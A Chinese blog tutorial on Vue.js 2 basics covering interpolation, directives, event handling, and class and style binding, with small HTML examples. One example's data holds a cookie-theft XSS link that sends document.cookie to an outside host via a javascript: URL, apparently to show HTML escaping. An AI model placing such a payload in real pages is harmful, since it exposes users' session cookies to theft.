zoukankan      html  css  js  c++  java
  • 【vue】1-vue简介与基础

     

    【目录】

    vue简介

    一 渐进式JavaScript

    二 Vue介绍

    三 Vue特点

    四 三大主流框架

    五 快速使用

    vue基础

    一 模板语法

    二 指令

    三 class与style

    四 条件渲染

    五 列表渲染(v-for)

    六 事件处理 

    七 表单控件绑定/双向数据绑定 

     

    Vue入门

    一 渐进式JavaScript

    通过对框架的了解与运用程度,来决定其在整个项目中的应用范围,最终可以独立以框架方式完成整个web前端项目

    二 Vue介绍

    Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。

    【官网】

    Vue.js

    【学习指南】

    新手向:Vue 2.0 的建议学习顺序 - 知乎 

    三 Vue特点

    易用
    通过 HTML、CSS、JavaScript构建应用

    灵活
    不断繁荣的生态系统,可以在一个库和一套完整框架之间自如伸缩。

    高效
    20kB min+gzip 运行大小
    超快虚拟 DOM
    最省心的优化

    四 三大主流框架

    三大主流框架之一:Angular React Vue

    先进的前端设计模式:MVVM 可以完全脱离服务器端,以前端代码复用的方式渲染整个页面:组件化开发

    五 快速使用

    开发版本:vue.js :https://vuejs.org/js/vue.js
    生产版本:vue.min.js :https://vuejs.org/js/vue.min.js

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script src="js/vue.js"></script>
    </head>
    <body>
    <div id="box">
        {{name}}
    </div>
    </body>
    <script>
        new Vue({
            el:'#box',
            data:{
                name:'cc'
            }
        })
    </script>
    </html>

     

     Vue介绍

    一 模板语法

    1.1 插值

    1.1.1 概述

    1 文本 {{}}
    2 纯html
    3 表达式
    
    注意:直接把Vue对象赋值给变量,修改变量值,可以直接修改页面内容
    
        -vm.$data.name
    
        -vm.name

    1.1.2 案例

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script src="js/vue.js"></script>
    </head>
    <body>
    <div id="box">
        {{name}}
        <br>
        {{10}}
        <br>
        {{10+20}}
        <br>
        {{10>20?'大于':'小于'}}
        <br>
        {{myhtml}}
    </div>
    </body>
    <script>
        new Vue({
            el:'#box',
            data:{
                name:'cc',
                myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我</a>",
            }
        })
    </script>
    </html>

    二 指令

    2.1 文本相关指令

    >1 v-text
    >2 v-html
    >3 v-show
    >4 v-if
    >注意:v-show和v-if的区别

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script src="js/vue.js"></script>
    </head>
    <body>
    <div id="box">
        <p v-text='msg'>原文本会被替换</p>
        <div v-html="myhtml"></div>
        <div v-show="isShow">显示</div>
        <div v-if="isCreated">显示</div>
    </div>
    </body>
    <script>
        var vm = new Vue({
            el: '#box',
            data: {
                msg: 'cc',
                myhtml:'<a href="http://www.baidu.com">点我</a>',
                isShow:true,
                isCreated:true
            }
        })
    </script>
    </html>

    2.2 事件指令

    <!-- v-on: 指令 简写 @ -->
    
    <!-- 不传参事件绑定,但事件回调方法可以获取事件对象 -->
    <p @click="fn"></p>
    
    <!-- ()可以传入具体实参 -->
    <p @click="fn()"></p>
    
    <!-- ()情况下,事件对象应该显式传入 -->
    <p @click="fn($event)"></p>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script src="js/vue.js"></script>
    </head>
    <body>
    <div id="box">
        <button v-on:click="test">点我</button>
        <button @click="test()">点我2</button>
        <button @click="test2($event)">点我3</button>
    </div>
    </body>
    <script>
        var vm = new Vue({
            el: '#box',
            data: {
            },
            methods:{
                test(){
                    console.log('test')
                },
                test2(ev){
                    console.log(ev)
                },
            }
        })
    </script>
    </html>


    2.3 属性指令

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script src="js/vue.js"></script>
        <style>
            .redclass{
                background: red;
            }
            .yellowclass{
                background: yellow;
            }
        </style>
    </head>
    <body>
    <div id="box">
        <!--绑定src    -->
        <img v-bind:src="mysrc"/>
        <img :src="mysrc"/>
    
        <!--绑定class-->
        <div v-bind:class="red">111111111</div>
        <button @click="change">点击变色</button>
        <div v-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
    </div>
    </body>
    <script>
        var vm = new Vue({
            el: '#box',
            data: {
                mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
                isActive:false,
                red:'redclass',
                yellow:'yellowclass',
    
            },
            methods: {
                change(){
                    this.isActive=!this.isActive
                },
            }
        })
    </script>
    </html>


    三 class与style

    3.1 class的三种写法

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script src="js/vue.js"></script>
        <style>
            .redclass {
                background: red;
            }
    
            .yellowclass {
                background: yellow;
            }
        </style>
    </head>
    <body>
    <div id="box">
        <div :class="isActive?'redclass':'yellowclass'">class三目写法</div>
        <p :class="classObj">class对象写法</p>
        <p :class="classarr">class数组写法</p>
    </div>
    </body>
    <script>
        var vm = new Vue({
            el: '#box',
            data: {
                isActive: false,
                classObj: {
                    class_a: true,
                    class_b: true,
                    //class_a,class_b是class的名字,
                    //vm.classObj.class_a=false
                    //vm.classObj.class_c=true 设置不进去
                },
                classarr:['a','b']
                //vm.classarr.pop()
                //vm.classarr.push('c')
    
            },
            methods: {
    
            }
        })
    </script>
    </html>


    3.2 style的写法

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script src="js/vue.js"></script>
        <style>
            .redclass {
                background: red;
            }
    
            .yellowclass {
                background: yellow;
            }
        </style>
    </head>
    <body>
    <div id="box">
        <div :style="'background:'+'red'">class三目写法</div>
        <div :style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
        <!--vm.isActive=true-->
        <p :style="styleobj">class对象写法</p>
        <p :style="styleattr">class数组写法</p>
    </div>
    </body>
    <script>
        var vm = new Vue({
            el: '#box',
            data: {
                isActive: false,
                styleobj:{
                    background:'yellow',
                    fontSize:'30px',
                },
                styleattr:[{background:'red'},],
                // styleattr:[]
                //vm.styleattr.push({background:'red'})
                  //vm.styleattr.shift(),pop
    
            },
            methods: {
    
            }
        })
    </script>
    </html>

    参考:

    http://www.liuqingzheng.top/python/vue/1-Vue%E4%BB%8B%E7%BB%8D/

    http://www.liuqingzheng.top/python/vue/2-Vue%E5%9F%BA%E7%A1%80/

     

  • 相关阅读:
    设计模式-代理模式
    设计模式-策略模式
    设计模式-单例模式
    优先队列
    n!中质因子个数
    计算组合数
    高精度
    memset用法
    质因子分解
    素数筛法
  • 原文地址:https://www.cnblogs.com/bigorangecc/p/14134217.html
Copyright © 2011-2022 走看看